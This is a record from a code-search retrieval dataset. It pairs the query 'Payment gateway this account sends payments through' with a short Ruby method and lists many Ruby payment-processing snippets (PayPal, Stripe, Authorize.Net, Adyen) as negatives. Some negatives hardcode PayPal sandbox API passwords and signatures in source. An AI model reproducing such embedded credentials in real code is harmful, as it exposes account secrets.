"0.54294825",
"0.5422127",
"0.541573",
"0.5412117",
"0.5407703",
"0.5404455",
"0.5400278",
"0.53989875",
"0.53975534",
"0.53963745",
"0.53906476",
"0.53906476",
"0.5378559",
"0.53695935",
"0.5369369",
"0.53679377",
"0.5367713",
"0.53617775",
"0.5349623",
"0.5348646",
"0.5348646",
"0.53437656",
"0.53420395",
"0.5340192",
"0.5339842",
"0.5335623",
"0.5323492",
"0.5322189",
"0.5318812",
"0.5318812",
"0.53132516",
"0.53107685",
"0.5304011",
"0.52930474",
"0.52930033",
"0.52910763",
"0.5273067",
"0.5267774",
"0.5264985",
"0.5247477",
"0.52460235",
"0.52353615"
] |
0.0
|
-1
|
Payment gateway this account sends payments through.
|
def provider_payment_gateway
provider_account&.payment_gateway(sca: payment_detail.payment_method_id.present?)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def payment_gateway(**options)\n return if payment_gateway_type.blank?\n\n PaymentGateway.implementation(payment_gateway_type, options).new(payment_gateway_options || {})\n end",
"def adyen_payment\n load_object\n opts = all_opts(@order,params[:payment_method_id], 'payment')\n opts.merge!(address_options(@order))\n gateway = adyen_gateway\n\n #if Spree::Config[:auto_capture]\n # response = gateway.setup_purchase(opts[:money], opts)\n #else\n # response = gateway.setup_authorization(opts[:money], opts)\n #end\n\n unless response.success?\n gateway_error(response)\n redirect_to edit_order_checkout_url(@order, :step => \"payment\")\n return\n end\n\n redirect_to (gateway.redirect_url_for response.token, :review => payment_method.preferred_review)\n rescue ActiveMerchant::ConnectionError => e\n gateway_error I18n.t(:unable_to_connect_to_gateway)\n redirect_to :back\n end",
"def gateway\n @gateway ||= PAYMENT_CLASS.new(\n :login => PAYMENT_LOGIN,\n :password => PAYMENT_PASSWORD,\n :signature => PAYMENT_SIGNATURE # Ignored for some gateway types; see \"config/payment_gateway.yml\"\n )\n end",
"def process_payment!\n @payment_type.pay\n end",
"def pay(payment)\n retval\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n end",
"def payment_gateway\n return Spree::BogusGateway.new if ENV['RAILS_ENV'] == \"development\" and Spree::Gateway::Config[:use_bogus]\n\n # retrieve gateway configuration from the database\n gateway_config = GatewayConfiguration.find :first\n config_options = {}\n gateway_config.gateway_option_values.each do |option_value|\n key = option_value.gateway_option.name.to_sym\n config_options[key] = option_value.value\n end\n gateway = gateway_config.gateway.clazz.constantize.new(config_options)\n\n return gateway\n end",
"def gateway\n ActiveMerchant::Billing::Base.mode = :test\n\n @gateway ||= \n ActiveMerchant::Billing::PaypalRecurringGateway.new(\n :login => 'nk_tes_1218714620_biz_api1.mail.ru',\n :password => '1218714626',\n :signature => 'An5ns1Kso7MWUdW4ErQKJJJ4qi4-A-b1ANj9g14qW6XOboBut7nnhDdn'\n )\n @gateway\n end",
"def alipay_handle_billing_integration \n payment_method = PaymentMethod.find(params[:payment_method_id])\n payment = @order.pending_payments.first\n #payment_method = @order.pending_payments.first.payment_method\n if payment.payment_method.kind_of?(BillingIntegration::Alipay)\n #pay\n redirect_to alipay_full_service_url(@order, payment_method)\n end\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :relay_url => payments_relay_response_url(:only_path => false))\n end",
"def pay\n @bill = Bill.find_by(id: params[:bill_id].to_i, home_id: params[:home_id].to_i)\n @payment = Payment.new(description: @bill.name, amount: @bill.amount,\n recipient_paypal_email: @bill.user.paypal)\n @recipient = @payment.recipient_paypal_email\n @payment.sender_paypal_email = current_user.paypal\n @payment.paid_at = Time.now.strftime(\"%A, %B %e, %Y %l:%M %P %Z\")\n @amount = @payment.amount\n request = HTTParty.post(\"https://svcs.sandbox.paypal.com/AdaptivePayments/Pay\",\n headers: {\"X-PAYPAL-SECURITY-USERID\" => \"maria.cassino-facilitator_api1.gmail.com\",\n \"X-PAYPAL-SECURITY-PASSWORD\" => \"U9FL2MK962DKPXMR\",\n \"X-PAYPAL-SECURITY-SIGNATURE\" => \"AFcWxV21C7fd0v3bYYYRCpSSRl31A2tjSJXfuAz3het2TLAiz2uCt1eN\",\n \"X-PAYPAL-REQUEST-DATA-FORMAT\" => \"JSON\",\n \"X-PAYPAL-RESPONSE-DATA-FORMAT\" => \"JSON\",\n \"X-PAYPAL-APPLICATION-ID\" => \"APP-80W284485P519543T\"\n },\n body: {actionType: \"PAY\",\n currencyCode: \"USD\",\n receiverList: {\n receiver:[\n {amount: @amount,\n email: @recipient}\n ]\n },\n returnUrl: \"http://www.example.com/success.html\",\n cancelUrl: \"http://www.example.com/failure.html\",\n requestEnvelope:{\n errorLanguage: \"en_US\",\n detailLevel: \"ReturnAll\"\n }}.to_json\n )\n @payment.save\n @bill.paid_by = current_user.id\n @bill.paid = true\n @bill.paid_at = Time.now.strftime(\"%A, %B %e, %Y %l:%M %P %Z\")\n @bill.save\n render :payment\n end",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n # @transaction = AuthorizeNet::AIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], :gateway=>:sandbox)\n # credit_card = AuthorizeNet::CreditCard.new('4111111111111111', '1120')\n # @response = @transaction.purchase('10.00', credit_card)\n\n # if @response.success?\n # puts \"Successfully made a purchase (authorization code: #{response.authorization_code})\"\n # else\n # raise \"Failed to make purchase.\"\n # end\n end",
"def set_payment_gateway\n @payment_gateway = PaymentGateway.find_by(id: params[:id],site_id: @site.id)\n redirect_to admin_errors_url(error_template: '403') unless @payment_gateway\n end",
"def pay\n unless self.payment_id\n payment = create_payment\n self.payment_id = payment.id\n self.status = 'paid'\n self.pay_date = Time.now\n self.save\n add_to_balance\n end\n end",
"def payment\n Zapi::Models::Payment.new\n end",
"def payment(params)\n check_token\n\n Request.perform(:post, URI.parse(Urls::PAYMENTS_URL), headers_for_other, params.to_json)\n end",
"def pay_dp\n raise t('checkout.common.failed_msg') unless request.put?\n order = Order.not_checked_out.by_state(\"assigned\").by_user(@user).\n find(:first, :conditions => [ \"id = ?\", session[:order_id] ])\n if order.can_pay? and order.total > 0.0\n order.update_attributes( {:recipient => @user.full_description })\n order.reset_token!\n notifyURL=\"#{get_server_path}/ppservice/ipn\"\n options = { \"method\" => 'DoDirectPayment',\n \"ip_address\" => request.remote_ip,\n \"paymentaction\" => 'Sale',\n \"notifyurl\" => notifyURL,\n \"email\" => @user.email,\n \"firstname\" => @user.fullname,\n \"lastname\" => '(' + @user.email + ')',\n # \"cardowner\" => params[\"cardowner\"],\n \"creditcardtype\" => params[\"creditcardtype\"],\n \"acct\" => params[\"acct\"],\n \"expdate\" => params[\"date\"][\"month\"] + params[\"date\"][\"year\"],\n \"cvv2\" => params[\"cvv2\"] }\n options.merge!(order.basic_options)\n# options.merge!(order.ship_options)\n dump_options(options) if DEBUG\n order.payments.create({ \"token\" => \"#{order.token}\", \"state\" => \"pending\",\n \"method_type\" => \"Card\"})\n payment = order.current_payment\n payment.update_attributes({\"do_dp_request_params\" => options.merge({\"acct\"=>\"XXXXXX\",\n \"expdate\"=>\"XXXXXX\",\n \"cvv2\"=>\"XXXXXX\",\n \"creditcardtype\"=>\"XXXXXX\"\n })\n })\n @caller = PayPalSDK::Caller.new(false)\n @transaction = @caller.call( options )\n payment.update_attributes({\"do_dp_response_params\" => @transaction.response})\n dump_response(@transaction.response, \"DoDirectPayment\") if DEBUG\n if @transaction.success?\n session[:pp_errors] = nil\n puts \"+++++++++[\" + @transaction.response[\"AVSCODE\"].to_s + \"]++++++++++\" if DEBUG\n case @transaction.response[\"AVSCODE\"].to_s\n when 'X'\n order.transaction do\n # payment must be updated after order, otherwise payment params will be lost\n order.update_attributes( {:note => t('checkout.common.payment_accept_msg') })\n order.pay!\n order.ship!\n payment.update_attributes({\"txn_id\" => @transaction.response[\"TRANSACTIONID\"][0]})\n payment.accept!\n end\n flash[:notice] = t('checkout.common.payment_accept_msg')\n else\n order.transaction do\n order.update_attributes( {:note => t('checkout.common.payment_need_investigation_msg') })\n order.checkout!\n payment.accept!\n end\n raise t('checkout.common.payment_need_investigation_msg')\n end\n redirect_to order_path(order.order_num)\n else\n session[:pp_errors] = @transaction.response\n flash[:notice] = \"DoDirectPayment Failed: \" + session[:pp_errors][\"L_LONGMESSAGE0\"].to_s\n redirect_to payment_url\n end\n else\n raise t('checkout.common.failed_msg')\n end\n rescue Exception => e\n flash[:notice] = e\n redirect_to payment_url\n end",
"def payment_gateway_type\n gateway_setting.gateway_type\n end",
"def do_pay\n self.paid_at = Time.now.utc\n self.send_paid\n end",
"def capture(payment:)\n response = Api.capture_payment(\n credentials,\n payment[:payment_token],\n payment[:amount_cents],\n payment[:amount_currency].to_s\n )\n\n if response.code.to_i == 200\n payment_fee = response['splits']&.find_all { |split| split['type'] == 'PaymentFee' }&.first\n PaymentResult.success(\n AccesstypeAdyen::PAYMENT_GATEWAY,\n payment_token: payment[:payment_token],\n payment_gateway_fee: !payment_fee.nil? ? payment_fee['amount']['value'] : nil,\n payment_gateway_fee_currency: !payment_fee.nil? ? payment_fee['amount']['currency'] || response['amount']['currency'] : nil,\n amount_currency: response['amount']['currency'].to_s,\n amount_cents: response['amount']['value'],\n status: response['status']\n )\n else\n error_response(response['errorCode'], response['message'], response['status'], payment[:payment_token])\n end\n end",
"def alipay_checkout_payment\n payment_method = PaymentMethod.find(params[:payment_method_id])\n #Rails.logger.debug \"@payment_method=#{@payment_method.inspect}\" \n Rails.logger.debug \"[DEBUG] alipay_full_service_url:\"+aplipay_full_service_url(@order, payment_method)\n # notice that load_order would call before_payment, if 'http==put' and 'order.state == payment', the payments will be deleted. \n # so we have to create payment again\n @order.payments.create(:amount => @order.total, :payment_method_id => payment_method.id)\n @order.payments.first.started_processing!\n\n #redirect_to_alipay_gateway(:subject => \"donatecn\", :body => \"donatecn\", :amount => @donate.amount, :out_trade_no => \"123\", :notify_url => pay_fu.alipay_transactions_notify_url)\n end",
"def gateway(*args)\n begin\n @gateway ||= self.class.gateway(*args)\n rescue Exception => x\n payment_errors[:gateway] = x.message\n public_payment_errors[:gateway] = 'failed to initialize'\n end\n end",
"def gateway\n Braintree::Gateway.new(\n environment: :sandbox,\n merchant_id: ENV['BRAINTREE_MERCHANT_ID'],\n public_key: ENV['BRAINTREE_PUBLIC_KEY'],\n private_key: ENV['BRAINTREE_PRIVATE_KEY']\n )\n end",
"def pay\n \n Notifyer.print( 'Shop::StripeTransfer#pay' , self ) if Rails.env.development?\n \n set_description\n self.process!\n \n begin\n Stripe::Transfer.create(\n amount: self.amount.round.to_i,\n destination: self.destination,\n source_transaction: self.source_transaction,\n currency: self.currency,\n description: self.description,\n metadata: {\n 'description' => self.description,\n 'order_item_id' => self.order_item_id\n },\n statement_descriptor: \"#{self.description} test 001\",\n application_fee: self.application_fee,\n #recipient: self.destination \n )\n self.finis!\n rescue Stripe::StripeError => e\n self.fail!\n self.update(stripe_errors: e.message)\n errored('Shop::StripeTransfer#pay', e )\n return false\n end\n true\n end",
"def payment_method\n Zapi::Models::PaymentMethod.new\n end",
"def process_gateway_return\n #TODO support multiple gateways - maybe store payment_method_id in session?\n gateway = PaymentMethod.find_by_id_and_type(IdealLite.parse_custom_data(params)[\"payment_method_id\"], \"IdealLite\")\n @order, payment_made = gateway.process_response(params)\n\n if @order && payment_made\n #Payment successfully processed\n @order.payments.clear\n payment = @order.payments.create\n payment.started_processing\n payment.amount = params[:amount] || @order.total\n payment.payment_method = gateway\n payment.complete\n @order.save\n\n #The admin interface for creating an order doesn't actually step through all the different states - it remains\n #on 'cart'. In order to complete, we just need to step through the states (firing events, etc along the way) until\n #the order is \"complete\"\n until @order.completed?\n @order.next!\n end\n\n if @order.state == \"complete\" or @order.completed?\n flash[:notice] = I18n.t(:order_processed_successfully)\n redirect_to admin_order_url(@order)\n else\n redirect_to new_admin_order_payment_path\n end\n elsif @order.nil?\n #Order not passed through correctly\n flash[:error] = I18n.t('external_gateway.gateway_response.admin_order_missing')\n redirect_to new_admin_order_payment_path\n else\n #Error processing payment\n flash[:error] = I18n.t(:payment_processing_failed)\n redirect_to new_admin_order_payment_path and return\n end\n end",
"def payment_new(payment, payable, company_phone)\n @payment = payment\n @payable = payable\n @company_phone = company_phone\n @company = Company.find_by!(\n id: company_phone[:company_id]\n )\n emails = company_phone.extensions.admin\n mail(\n to: emails.map(&:email),\n subject: '¡En GurúComm hemos recibido tu pago!'\n )\n end",
"def push(_hex)\n raise Sibit::NotSupportedError, 'Btc.com doesn\\'t provide payment gateway'\n end",
"def create\n @payment_gateway = PaymentGateway.new(payment_gateway_params)\n\n respond_to do |format|\n if @payment_gateway.save\n flash[:success] = 'Payment gateway was successfully created.'\n format.html { redirect_to admin_payment_gateway_url(@payment_gateway) }\n format.json { render :show, status: :created, location: @payment_gateway }\n else\n format.html { render :new }\n format.json { render json: @payment_gateway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pay!\n #soap_server = VendorPayment.generate_soap_server\n #token = VendorPayment.generate_usa_epay_security_token\n #custNum = observed.vendor_payment_period.store.id\n #paymentMethodID = nil\n #parameters = generate_transaction_request\n #response = soap_server.runCustomerTransaction(token, custNum, paymentMethodID, parameters)\n #\n if self.vendor_payment_period.store.usa_epay_customer_number.blank?\n self.errors['usa_epay_customer_number'] = \"The USA ePay custNum must be set before a payment can be made.\"\n return\n end\n gateway = VendorPayment.gateway\n payment_methods_response = gateway.get_customer_payment_methods(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number)\n monthly_transfer_method = nil\n items = if payment_methods_response.params['get_customer_payment_methods_return']\n payment_methods_response.params['get_customer_payment_methods_return']['item']\n else\n []\n end\n \n if items.is_a?(Hash)\n items = [items]\n end\n \n items.each do |payment_method|\n if payment_method['method_name'].strip == 'Monthly ACH Transfer'\n monthly_transfer_method = payment_method\n end\n end\n \n if monthly_transfer_method\n response = gateway.run_customer_transaction(:customer_number => self.vendor_payment_period.store.usa_epay_customer_number,\n :command => 'CheckCredit',\n # USA ePay does pennies for the amount, so it needs to be\n # multiplied by 100\n :payment_method_id => monthly_transfer_method['method_id'],\n :amount => self.amount * 100)\n \n \n self.state = if response.message['result_code'].strip == 'A'\n VendorPayment.status_codes[response.message['status_code']]\n else\n VendorPayment.status_codes[\"E\"]\n end\n self.response_data = YAML::dump(response)\n if !response.message['ref_num'].blank?\n self.response_code = response.message['ref_num']\n save\n else\n save\n self.errors['transaction'] = \"State: #{self.state}. There was an error with code #{response.message['error_code']}, while trying to make the payment. Check USA ePay for reference number #{response.message['ref_num']} if necessary.\\n\\nFull Message: #{response.message.inspect}\"\n end\n self.vendor_payment_period.update_payment_total!\n self.vendor_payment_period.update_state!\n else\n self.errors['payment_method'] = \"There is no payment method on the vendor called 'Monthly ACH Transfer'\"\n end\n end",
"def charge\r\n if paypal?\r\n if (@response = paypal.get_profile_details(billing_id)).success?\r\n next_billing_date = Time.parse(@response.params['next_billing_date'])\r\n if next_billing_date > Time.now.utc\r\n update_attributes(:next_renewal_at => next_billing_date, :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount) unless amount == 0\r\n true\r\n else\r\n false\r\n end\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n else\r\n if amount == 0 || (@response = gateway.purchase(amount_in_pennies, billing_id)).success?\r\n update_attributes(:next_renewal_at => self.next_renewal_at.advance(:months => self.renewal_period), :state => 'active')\r\n subscription_payments.create(:subscriber => subscriber, :amount => amount, :transaction_id => @response.authorization) unless amount == 0\r\n true\r\n else\r\n errors.add(:base, @response.message)\r\n false\r\n end\r\n end\r\n end",
"def payment_method\n @payment_method ||= Gateway::AdyenHPP.last # find(params[:merchantReturnData])\n end",
"def payment\n # FIXME: please constantize the step numbers!\n @step = 5\n session[:step] = 5 if (session[:step].nil? || session[:step] < 5)\n @tipsters = Tipster.where(id: tipster_ids_in_cart)\n unless current_subscriber.subscription.present?\n @subscription = current_subscriber.build_subscription(plan_id: session[:plan_id])\n else\n @subscription = current_subscriber.subscription\n end\n @subscription.tipsters = @tipsters unless current_subscriber.already_has_subscription?\n @subscription.plan = selected_plan\n @subscription.using_coupon = true if using_coupon?\n @subscription.active = false\n @subscription.save\n @subscription.set_primary(tipster_ids_in_cart.first.to_i)\n\n if request.post?\n if params[:is_one_shoot] == \"true\"\n @subscription.update_attributes(is_one_shoot: true)\n elsif params[:is_one_shoot] == \"false\"\n @subscription.update_attributes(is_one_shoot: false)\n end\n if params[:method] == Payment::BY_PAYPAL\n ret = @subscription.generate_paykey\n if ret[:success]\n paykey = ret[:paykey]\n @paypal = {\n amount: \"%05.2f\" % @subscription.calculator_price,\n currency: \"EUR\",\n item_number: current_subscriber.id,\n paykey: paykey,\n item_name: \"TIPSTER HERO SUBSCRIPTION\"\n }\n respond_to do |format|\n format.js { render 'paypalinit.js.haml' }\n end\n else\n logger = Logger.new('log/payment_error.log')\n logger.info(\"CREATE PAYKEY FAILER\")\n logger.info(ret[:message])\n render js: 'window.location = '/''\n end\n else\n puts \"FRENCH BANK HERE\"\n end\n end\n\n end",
"def gateway\n self.class.gateway\n end",
"def create\n @payment = Payment.new(payment_params)\n @user = User.find(params[:user_id])\n @payment.proofreader_id = current_user.id\n @payment.request = current_user.balance \n \n \n Stripe.api_key = ENV[\"STRIPE_API_KEY\"]\n token = params[:stripeToken]\n\n recipient = Stripe::Recipient.create(\n :name => @payment.legalname,\n :type => \"individual\",\n :bank_account => token\n )\n current_user.recipient = recipient.id\n current_user.save\n \n\n transfer = Stripe::Transfer.create(\n :amount => (@payment.request * 97).floor,\n :currency => \"usd\",\n :recipient => current_user.recipient\n )\n\n current_user.balance = 0\n current_user.save\n\n respond_to do |format|\n if @payment.save\n format.html { redirect_to dashboard_path, notice: 'Payment was successfully made. You should see your money in your account within 7 business days.' }\n format.json { render action: 'show', status: :created, location: @payment }\n else\n format.html { render action: 'new' }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process_payments!\n if group_buy\n process_payments_with(:authorize!)\n else\n process_payments_with(:purchase!)\n end\n end",
"def capture!\n if hpp_payment? || adyen_cc_payment?\n amount = money.money.cents\n process do\n payment_method.send(\n :capture, amount, response_code, gateway_options)\n end\n else\n super\n end\n end",
"def gateway\n raise 'No Gateway secret configured' unless ENV['GATEWAY_SECRET_KEY']\n ChargeIO::Gateway.new(\n :site => ENV['GATEWAY_URI'],\n :secret_key => ENV['GATEWAY_SECRET_KEY']\n )\n end",
"def create\n @payment_gateway = PaymentGateway.new(params[:payment_gateway])\n\n respond_to do |format|\n if @payment_gateway.save\n format.html { redirect_to([:admin, @payment_gateway], :notice => 'Payment gateway was successfully created.') }\n format.xml { render :xml => @payment_gateway, :status => :created, :location => @payment_gateway }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @payment_gateway.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @payment_gateway = PaymentGateway.new(params[:payment_gateway])\n\n respond_to do |format|\n if @payment_gateway.save\n format.html { redirect_to @payment_gateway, notice: 'Payment gateway was successfully created.' }\n format.json { render json: @payment_gateway, status: :created, location: @payment_gateway }\n else\n format.html { render action: \"new\" }\n format.json { render json: @payment_gateway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n billing_record = GatewayTransaction.gateway.start( current_user, request )\n if current_user.power_plan? || billing_record.new_record?\n redirect_to :action => :error, :s => billing_record.plan_id.nil? ? 0 : 1\n else\n redirect_to billing_record.premium_link\n end\n end",
"def payment_gateway_server\n if defined?(::PAYMENT_GATEWAY)\n ::PAYMENT_GATEWAY\n else\n ActiveMerchant::Billing::Base.mode = (['production', 'staging'].include?(ENV['RAILS_ENV']) ? :production : :test)\n ActiveMerchant::Billing::AuthorizeNetGateway.new(\n :login => AUTH_NET_LOGIN, # global constants from environment file\n :password => AUTH_NET_TXN_KEY,\n :test => ['production', 'staging'].include?(ENV['RAILS_ENV'])\n )\n end\n end",
"def create_first_payment\n make_payment\n end",
"def save_with_payment\n if valid? # We did added some validation to make sure user filled in properly ::contact.rb\n # After Stripe get this info, Stripe will do the charging, this method comes from Stripe gem\n # Stripe will return an id after charging\n customer = Stripe::Customer.create(description: email, plan: plan_id, source: stripe_card_token) # Stripe had upgrade their API from card: -> source:\n # Set a property to the user after received the id Stripe returned(stripe will return customer hash)\n # 'self' means the target of this function, in this case is User, and we set a new atribute stripe_customer_token to User. \n self.stripe_customer_token = customer.id # Setting stripe_customer_token to Stripe::customer.id \n save!\n end\n \n end",
"def use_webtopay \n wp_extras = {\n callbackurl: confirm_order_url,\n cancelurl: confirm_order_url,\n accepturl: confirm_order_url,\n orderid: 20\n }\n\n @payment = WebToPay::Payment(payment_params.merge(wp_extras))\n redirect_to @payment.url\n end",
"def pay\n @cash_out = CashOut.find(params[:id])\n\n @transaction = Transaction.new\n @transaction.user = @cash_out.user\n @transaction.transaction_type = 'payment'\n @transaction.amount = @cash_out.amount * -1\n @transaction.attachable = @cash_out\n @transaction.transaction_at = Time.now\n\n if @transaction.save\n @cash_out.status = 'paid'\n @cash_out.paid_at = @transaction.transaction_at\n @cash_out.save\n\n flash[:notice] = \"Se ha realizado el pago\"\n redirect_to [:admin, @cash_out]\n else\n flash[:error] = \"No se pudo realizar el pago\"\n redirect_to [:admin, @cash_out]\n end\n end",
"def pay(user, ip, params)\n transaction = params[:transaction]\n ActiveProcessor.debug(\"Paying OSMP\")\n ActiveProcessor.debug(\"Transaction: #{transaction.to_yaml}\")\n #create payment\n if transaction[:user]\n @payment = Payment.create_for_user(transaction[:user], {\n :pending_reason => \"waiting_response\",\n :paymenttype => [@engine, @name].join(\"_\"),\n :currency => transaction[:currency],\n :gross => transaction[:money_with_tax],\n :tax => transaction[:tax],\n :amount => transaction[:money],\n :transaction_id => transaction[:id],\n :date_added => transaction[:date]\n })\n else\n @payment = nil\n end\n osmp_transaction(transaction[:id]) { |xml|\n unless @payment # user was not found so payment was not created\n ActiveProcessor.debug(\" >ERROR. Payment not created. User not found.\")\n xml.result(@message[:id_not_found][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:id_not_found][:code]}\"))\n else\n if Payment.find(:first, :conditions => [\"date_added = ? AND paymenttype = ? AND transaction_id = ?\", transaction[:date], [@engine, @name].join(\"_\"), transaction[:id]]) # already exists payment with this date_added\n ActiveProcessor.debug(\" >ERROR. Payment already created.\")\n xml.result(@message[:other_error][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(@message[:other_error][:msg]))\n else\n if get(:config, 'min_amount').to_i > 0 and @payment.gross < get(:config, 'min_amount').to_i # payment is to small\n ActiveProcessor.debug(\" >ERROR. Payment amount to small.\")\n xml.result(@message[:amount_to_small][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(@message[:amount_to_small][:msg]) + get(:config, 'min_amount').to_s)\n else\n if get(:config, 'max_amount').to_i > 0 and @payment.gross > get(:config, 'max_amount').to_i #payment is too big\n ActiveProcessor.debug(\" >ERROR. Payment amount to big.\")\n xml.result(@message[:amount_to_big][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(@message[:amount_to_big][:msg]) + get(:config, 'max_amount').to_s)\n else\n user = User.find(:first, :conditions => ['id = ?', @payment.user_id])\n if @payment.save\n confirmation = get(:config, \"payment_confirmation\")\n if confirmation.blank? or confirmation == \"none\"\n ActiveProcessor.debug(\" > waiting_response\")\n @payment.update_attributes({:completed => 1, :shipped_at => params[:date], :pending_reason => \"Completed\"})\n Action.add_action_hash(@payment.user_id,\n {:action => \"payment: #{self.settings['name']}\",\n :data => \"User successfully payed using OSMP\",\n :data3 => \"#{@payment.amount} #{@payment.currency} | tax: #{@payment.gross - @payment.amount} #{@payment.currency} | fee: #{@payment.fee} #{@payment.currency} | sent: #{@payment.gross} #{@payment.currency}\",\n :data2 => \"payment id: #{@payment.id}\",\n :data4 => \"authorization: #{@payment.transaction_id}\"\n })\n user.balance += @payment.amount_to_system_currency\n return user.save\n else\n @payment.update_attributes({\n :completed => false,\n :pending_reason => \"Waiting for confirmation\"\n })\n ActiveProcessor.log(\" >> Payment: #{@payment.id}, Pending_reason: #{@payment.pending_reason.downcase}\")\n ActiveProcessor.log(\" >> USER (#{user.id}) waiting for confirmation.\")\n Action.add_action_hash(@payment.user_id,\n {:action => \"payment: #{settings['name']}\",\n :data => \"User successfully payed, waiting for payment approval #{settings['name']} (OSMP)\",\n :data3 => \"#{@payment.amount} #{@payment.currency} | tax: #{@payment.gross - @payment.amount} #{@payment.currency} | fee: #{@payment.fee} #{@payment.currency} | sent: #{@payment.gross} #{@payment.currency}\",\n :data2 => \"payment id: #{@payment.id}\",\n :data4 => \"Transaction: #{@payment.transaction_id}\"\n })\n\n if get(:config, 'payment_notification').to_i == 1\n owner = User.where(:id => user.owner_id).first\n email = Email.find(:first, :conditions => {:name => 'payment_notification_regular', :owner_id => owner.id})\n\n variables = Email.email_variables(owner, nil, {:payment => @payment, :payment_notification => OpenStruct.new({}), :payment_type => \"OSMP (OSMP)\"})\n EmailsController::send_email(email, Confline.get_value(\"Email_from\", owner.id), [owner], variables)\n end\n return true\n end\n # OK\n ActiveProcessor.debug(\" >Payment saved.\")\n xml.result(@message[:ok][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:ok][:code]}\"))\n\n else\n # cannot save payment\n ActiveProcessor.debug(\" >ERROR. Payment was not saved.\")\n xml.result(@message[:temporary_error][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:temporary_error][:code]}\"))\n end\n end\n end\n end\n end\n }\n end",
"def payment\n @payment ||= user.try(:payment_method).try(:to_payment)\n end",
"def payment\n {\n :credit_card => credit_card\n }\n end",
"def make_payment\n payment_id = params[:payment_id]\n user_id = params[:user_id]\n offer_id = params[:offer_id]\n response = Subscription.make_payment(payment_id, user_id, offer_id)\n render json: response\n end",
"def payment(method, data = {})\n call_endpoint(Endpoint::Payment, method, data)\n end",
"def handle_paid_payment(payment)\n response = MangoPay::Withdrawal.create({\n 'UserID' => payment.recipient.mangopay_id,\n 'WalletID' => 0,\n 'BeneficiaryID' => payment.recipient.mangopay_beneficiary_id,\n 'Amount' => payment.total_sum.cents,\n 'Tag' => payment.id\n })\n\n puts \"WITHDRAWAL RESPONSE #{response.inspect}\"\n\n if response[\"ErrorCode\"]\n ApplicationHelper.send_error_notification(response[\"ErrorCode\"], \"MangopayWithdrawalError\", response)\n return false\n else\n return true\n end\n\n end",
"def payment\n mp_payment = @order.current_payment\n\n if mp_payment.source.nil? or mp_payment.source.redirect_url.nil?\n response = create_preferences mp_payment\n if response\n point_key = provider.sandbox ? 'sandbox_init_point' : 'init_point'\n redirect_url = response[point_key]\n\n mp_payment.source = MercadoPagoSource.create!\n mp_payment.source.redirect_url = redirect_url\n mp_payment.save!\n else\n render json: {ok: false}\n return\n end\n end\n\n render json: {redirect_url: mp_payment.source.redirect_url, ok: true}\n end",
"def make_payment! amount, due_at = Time.now\n rack_payment = Rack::Payment.instance.payment\n rack_payment.amount = amount\n rack_payment.credit_card = credit_card # use the encrypted credit card\n rack_payment.purchase :ip => '127.0.0.1'\n\n # TODO add amount_paid (?)\n completed = completed_payments.create :amount => amount, \n :due_at => due_at,\n :success => rack_payment.success?,\n :response => rack_payment.response\n completed\n end",
"def gateway\n if @@gateway\n return @@gateway if @@gateway.is_a? ActiveMerchant::Billing::Gateway\n @@gateway = @@gateway.to_s.classify.constantize.gateway\n else\n Gateway.default_gateway\n end\n end",
"def create_payment\n payment = ShopPayment.new({\n :order => @order,\n :gateway => gateway_name,\n :amount => @order.price,\n :card_type => card_type,\n :card_number=> card_number_secure\n })\n \n @order.update_attribute(:status, 'paid')\n \n @result[:payment] = payment.save\n end",
"def payout\n\t\t# if !current_user.merchant_id.blank?\n # \t\t\taccount = Stripe::Account.retrieve(current_user.merchant_id)\n # \t\t\t@login_link = account.login_links.create()\n\t\t# end\n end",
